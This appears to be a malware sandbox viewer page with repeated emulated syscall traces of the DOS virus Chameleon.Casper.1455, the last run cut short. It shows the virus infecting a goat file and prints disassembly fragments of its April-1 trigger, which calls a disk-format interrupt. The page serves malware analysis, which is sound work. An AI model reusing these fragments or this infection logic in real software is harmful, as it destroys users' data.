Sample viewer

vx.netlux.org/Virus.DOS.Chameleon.Casper.1455

GIF

Syscalls:

Time	Syscall Op	Syscall Name
2018-12-17T23:01:42.832621609Z	42	PC: 12bb8 \| Get date 0x12bb8: cmp dx, 0x401 0x12bbc: jne 0x12bcf 0x12bbe: mov ax, 0x515 0x12bc1: mov ch, 0 0x12bc3: mov dx, 0 0x12bc6: mov es, dx 0x12bc8: mov bx, 0 0x12bcb: int 0x13 0x12bcd: int 0x20 0x12bcf: jmp 0x12c76 0x12bd2: dec ax 0x12bd3: imul sp, word ptr [bx + di], 0x4920 0x12bd7: daa 0x12bd8: insw word ptr es:[di], dx 0x12bd9: and byte ptr [bp + di + 0x61], al 0x12bdc: jae 0x12c4e 0x12bde: jb 0x12c01 0x12be1: push sp 0x12be2: push 0x2065 0x12be5: push si
2018-12-17T23:01:42.836389829Z	48	PC: 12cbb \| Get DOS version
2018-12-17T23:01:42.838663712Z	47	PC: 12cc9 \| Get disk transfer address
2018-12-17T23:01:42.840472511Z	26	PC: 12cde \| Set disk transfer address
2018-12-17T23:01:42.842207631Z	78	PC: 12d62 \| Find first file
2018-12-17T23:01:42.850213243Z	67	PC: 12da2 \| Get or set file attributes
2018-12-17T23:01:42.857292184Z	67	PC: 12db3 \| Get or set file attributes
2018-12-17T23:01:42.877756327Z	61	PC: 12dbe \| Open file (Filename = 'SLEEP.COM')
2018-12-17T23:01:42.886943239Z	87	PC: 12dcb \| Get or set file date and time
2018-12-17T23:01:42.889625379Z	63	PC: 12dde \| Read file or device (Read 3 bytes on handle 5)
2018-12-17T23:01:42.897483535Z	66	PC: 12dfa \| Move file pointer
2018-12-17T23:01:42.913361108Z	44	PC: 12e28 \| Get time 0x12e28: xor dx, cx 0x12e2a: int3 0x12e2b: rcr word ptr [bp + si + 0x56], cl
2018-12-17T23:01:42.917849642Z	64	PC: 13257 \| Write file or device (Write 1455 bytes on handle 5)
2018-12-17T23:01:42.936168674Z	66	PC: 12f03 \| Move file pointer
2018-12-17T23:01:42.938286914Z	64	PC: 12f14 \| Write file or device (Write 3 bytes on handle 5)
2018-12-17T23:01:42.946690805Z	87	PC: 12f25 \| Get or set file date and time
2018-12-17T23:01:42.948795299Z	62	PC: 12f29 \| Close file
2018-12-17T23:01:42.957701183Z	67	PC: 12f37 \| Get or set file attributes
2018-12-17T23:01:42.969517507Z	26	PC: 12f42 \| Set disk transfer address
2018-12-17T23:01:42.971326295Z	9	PC: 12a82 \| Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-17T23:01:42.976085357Z	76	PC: 12a86 \| Terminate with return code (Return code = '36')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":13960,"SideJobID":0}

GIF

Syscalls:

Time	Syscall Op	Syscall Name
2018-12-25T12:39:36.036024311Z	42	PC: 12bb8 \| Get date 0x12bb8: cmp dx, 0x401 0x12bbc: jne 0x12bcf 0x12bbe: mov ax, 0x515 0x12bc1: mov ch, 0 0x12bc3: mov dx, 0 0x12bc6: mov es, dx 0x12bc8: mov bx, 0 0x12bcb: int 0x13 0x12bcd: int 0x20 0x12bcf: jmp 0x12c76 0x12bd2: dec ax 0x12bd3: imul sp, word ptr [bx + di], 0x4920 0x12bd7: daa 0x12bd8: insw word ptr es:[di], dx 0x12bd9: and byte ptr [bp + di + 0x61], al 0x12bdc: jae 0x12c4e 0x12bde: jb 0x12c01 0x12be1: push sp 0x12be2: push 0x2065 0x12be5: push si
2018-12-25T12:39:36.039350962Z	48	PC: 12cbb \| Get DOS version
2018-12-25T12:39:36.045021526Z	47	PC: 12cc9 \| Get disk transfer address
2018-12-25T12:39:36.046280413Z	26	PC: 12cde \| Set disk transfer address
2018-12-25T12:39:36.047522588Z	78	PC: 12d62 \| Find first file
2018-12-25T12:39:36.06255081Z	67	PC: 12da2 \| Get or set file attributes
2018-12-25T12:39:36.070071611Z	67	PC: 12db3 \| Get or set file attributes
2018-12-25T12:39:36.087191298Z	61	PC: 12dbe \| Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:36.100334039Z	87	PC: 12dcb \| Get or set file date and time
2018-12-25T12:39:36.101930087Z	63	PC: 12dde \| Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:39:36.109702443Z	66	PC: 12dfa \| Move file pointer
2018-12-25T12:39:36.112121394Z	44	PC: 12e28 \| Get time 0x12e28: xor dx, cx 0x12e2a: int3 0x12e2b: rcr word ptr [bp + si + 0x56], cl
2018-12-25T12:39:36.117063837Z	64	PC: 13257 \| Write file or device (Write 1455 bytes on handle 5)
2018-12-25T12:39:36.127635456Z	66	PC: 12f03 \| Move file pointer
2018-12-25T12:39:36.129864008Z	64	PC: 12f14 \| Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:39:36.138235022Z	87	PC: 12f25 \| Get or set file date and time
2018-12-25T12:39:36.14034994Z	62	PC: 12f29 \| Close file
2018-12-25T12:39:36.15033274Z	67	PC: 12f37 \| Get or set file attributes
2018-12-25T12:39:36.161428Z	26	PC: 12f42 \| Set disk transfer address
2018-12-25T12:39:36.162696099Z	9	PC: 12a82 \| Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-25T12:39:36.168955722Z	76	PC: 12a86 \| Terminate with return code (Return code = '36')

{"DateBased":true,"Day":1,"Month":4,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":13960,"SideJobID":0}

GIF

Syscalls:

Time	Syscall Op	Syscall Name
2018-12-25T12:39:36.311975099Z	42	PC: 12bb8 \| Get date 0x12bb8: cmp dx, 0x401 0x12bbc: jne 0x12bcf 0x12bbe: mov ax, 0x515 0x12bc1: mov ch, 0 0x12bc3: mov dx, 0 0x12bc6: mov es, dx 0x12bc8: mov bx, 0 0x12bcb: int 0x13 0x12bcd: int 0x20 0x12bcf: jmp 0x12c76 0x12bd2: dec ax 0x12bd3: imul sp, word ptr [bx + di], 0x4920 0x12bd7: daa 0x12bd8: insw word ptr es:[di], dx 0x12bd9: and byte ptr [bp + di + 0x61], al 0x12bdc: jae 0x12c4e 0x12bde: jb 0x12c01 0x12be1: push sp 0x12be2: push 0x2065 0x12be5: push si